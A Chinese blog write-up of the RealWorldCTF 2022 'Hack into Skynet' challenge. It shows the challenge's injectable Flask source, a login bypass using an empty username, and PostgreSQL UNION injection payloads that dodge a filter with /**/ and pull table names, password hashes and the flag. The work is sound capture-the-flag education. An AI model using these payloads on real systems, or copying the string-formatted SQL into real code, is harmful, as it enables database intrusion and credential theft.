[RealWorldCTF2022] Hack into Skynet

考点

PostgreSQL注入

解题

首先看源代码:

#!/usr/bin/env python3

import flask
import psycopg2
import datetime
import hashlib
from skynet import Skynet

app = flask.Flask(__name__, static_url_path='')
skynet = Skynet()

def skynet_detect():
    req = {
        'method': flask.request.method,
        'path': flask.request.full_path,
        'host': flask.request.headers.get('host'),
        'content_type': flask.request.headers.get('content-type'),
        'useragent': flask.request.headers.get('user-agent'),
        'referer': flask.request.headers.get('referer'),
        'cookie': flask.request.headers.get('cookie'),
        'body': str(flask.request.get_data()),
    }
    _, result = skynet.classify(req)
    return result and result['attack']

@app.route('/static/<path:path>')
def static_files(path):
    return flask.send_from_directory('static', path)

@app.route('/', methods=['GET', 'POST'])
def do_query():
    if skynet_detect():
        return flask.abort(403)

    if not query_login_state():
        response = flask.make_response('No login, redirecting', 302)
        response.location = flask.escape('/login')
        return response

    if flask.request.method == 'GET':
        return flask.send_from_directory('', 'index.html')
    elif flask.request.method == 'POST':
        kt = query_kill_time()
        if kt:
            result = kt 
        else:
            result = ''
        return flask.render_template('index.html', result=result)
    else:
        return flask.abort(400)

@app.route('/login', methods=['GET', 'POST'])
def do_login():
    if skynet_detect():
        return flask.abort(403)

    if flask.request.method == 'GET':
        return flask.send_from_directory('static', 'login.html')
    elif flask.request.method == 'POST':
        if not query_login_attempt():
            return flask.send_from_directory('static', 'login.html')
        else:
            session = create_session()
            response = flask.make_response('Login success', 302)
            response.set_cookie('SessionId', session)
            response.location = flask.escape('/')
            return response
    else:
        return flask.abort(400)

def query_login_state():
    sid = flask.request.cookies.get('SessionId', '')
    if not sid:
        return False

    now = datetime.datetime.now()
    with psycopg2.connect(
            host="challenge-db",
            database="ctf",
            user="ctf",
            password="ctf") as conn:
        cursor = conn.cursor()
        cursor.execute("SELECT sessionid"
           "  FROM login_session"
           "  WHERE sessionid = %s"
           "    AND valid_since <= %s"
           "    AND valid_until >= %s"
           "", (sid, now, now))
        data = [r for r in cursor.fetchall()]
        return bool(data)

def query_login_attempt():
    username = flask.request.form.get('username', '')
    password = flask.request.form.get('password', '')
    if not username and not password:
        return False

    sql = ("SELECT id, account"
           "  FROM target_credentials"
           "  WHERE password = '{}'").format(hashlib.md5(password.encode()).hexdigest())
    user = sql_exec(sql)
    name = user[0][1] if user and user[0] and user[0][1] else ''
    return name == username

def create_session():
    valid_since = datetime.datetime.now()
    valid_until = datetime.datetime.now() + datetime.timedelta(days=1)
    sessionid = hashlib.md5((str(valid_since)+str(valid_until)+str(datetime.datetime.now())).encode()).hexdigest()

    sql_exec_update(("INSERT INTO login_session (sessionid, valid_since, valid_until)"
           "  VALUES ('{}', '{}', '{}')").format(sessionid, valid_since, valid_until))
    return sessionid

def query_kill_time():
    name = flask.request.form.get('name', '')
    if not name:
        return None

    sql = ("SELECT name, born"
           "  FROM target"
           "  WHERE age > 0"
           "    AND name = '{}'").format(name)
    nb = sql_exec(sql)
    if not nb:
        return None
    return '{}: {}'.format(*nb[0])

def sql_exec(stmt):
    data = list()
    try:
        with psycopg2.connect(
                host="challenge-db",
                database="ctf",
                user="ctf",
                password="ctf") as conn:
            cursor = conn.cursor()
            cursor.execute(stmt)
            for row in cursor.fetchall():
                data.append([col for col in row])
            cursor.close()
    except Exception as e:
        print(e)
    return data

def sql_exec_update(stmt):
    data = list()
    try:
        with psycopg2.connect(
                host="challenge-db",
                database="ctf",
                user="ctf",
                password="ctf") as conn:
            cursor = conn.cursor()
            cursor.execute(stmt)
            conn.commit()
    except Exception as e:
        print(e)
    return data

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8080)

主要关注登录这里的查询语句:

def query_login_attempt():
    username = flask.request.form.get('username', '')
    password = flask.request.form.get('password', '')
    if not username and not password:
        return False

    sql = ("SELECT id, account"
           "  FROM target_credentials"
           "  WHERE password = '{}'").format(hashlib.md5(password.encode()).hexdigest())
    user = sql_exec(sql)
    name = user[0][1] if user and user[0] and user[0][1] else ''
    return name == username

这行语句的意思是从数据库中查询密码md5值对应的用户,并赋值给user,然后将user\user[0]\user[0][1]和我们传递进去的username进行比较,如果相同返回True,但是注意这里的三目运算符:

name = user[0][1] if user and user[0] and user[0][1] else ''

如果没有查询到对应密码账户的话就会令user='',倘若我们抓包将post传递的username也改为空,那么NULL==NULL一样是可以返回True,从而绕过校验登录成功。

所以POST请求/login

username=&password=123

即可登录成功。

然后进入到了一个查询页面,查询的代码如下:

def query_kill_time():
    name = flask.request.form.get('name', '')
    if not name:
        return None

    sql = ("SELECT name, born"
           "  FROM target"
           "  WHERE age > 0"
           "    AND name = '{}'").format(name)
    nb = sql_exec(sql)
    if not nb:
        return None
    return '{}: {}'.format(*nb[0])

尝试PostgreSQL注入

name=1'/**/union/**/all/**/select/**/current_database(),NULL/**/limit/**/'1

成功得到库名:

ctf: None

接下来查询表名:

name=1'/**/union/**/all/**/select/**/tablename,NULL/**/from/**/pg_tables/**/limit/**/'1

得到:

target: None

然后利用子查询查字段:

name=1'/**/union/**/all/**/select/**/(select/**/string_agg(attname,',')/**/from/**/pg_attribute/**/limit/**/'1'),NULL/**/limit/**/'1

得到所有的字段名。

接下来结合一下源码中的SQL语句就可以猜出字段名和表名,接下来查一下password:

name=1'/**/union/**/all/**/select/**/(select/**/string_agg(password,',')/**/FROM/**/target_credentials/**/LIMIT/**/'1'),NULL/**/limit/**/'1

得到:

eb0f4c3b032e72d6fdf908dfcfe4836c,6bc9e9826b1f7db871df3faa3c05fc12,fce0d789753046f11407583d5f17cfc0,243868ea1cf339cccb64825d7046751d,21b2b033840ddc913e13ccbd948088fd,d0178d7f0f50773d4d86996fdbed41c3,069ff8c230a22dac03bd5bdc282ee5b9,ebed242b8676fd7633bea0c8d55f6e80,2a1d849ee8902c2c4a99dda66ab81552,68c3be21f9e0918c2705560ffb44b6da,9ad4b735cf458292eecd3b5db7fba511,1103d84a668960f97603398c84e6012e,c9c1327b206d21f39d083df86cd9dd50: None

然而并没有什么卵用,然后返回去看字段发现了一个secret_key,构造语句查询获得flag:

name=1'/**/union/**/all/**/select/**/(select/**/string_agg(secret_key,',')/**/from/**/target_credentials/**/limit/**/'1'),NULL/**/limit/**/'1
rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-questi0n},92ed3ec5e34b68ab2c3984a1b5474937,92ed3ec5e34b68ab2c3984a1b5474937,92ed3ec5e34b68ab2c3984a1b5474937,92ed3ec5e34b68ab2c3984a1b5474937,92ed3ec5e34b68ab2c3984a1b5474937,92ed3ec5e34b68ab2c3984a1b5474937,92ed3ec5e34b68ab2c3984a1b5474937,92ed3ec5e34b68ab2c3984a1b5474937,92ed3ec5e34b68ab2c3984a1b5474937,92ed3ec5e34b68ab2c3984a1b5474937,92ed3ec5e34b68ab2c3984a1b5474937,92ed3ec5e34b68ab2c3984a1b5474937: None
posted @ 2022-01-24 00:46  Ye'sBlog  阅读(207)  评论(0编辑  收藏  举报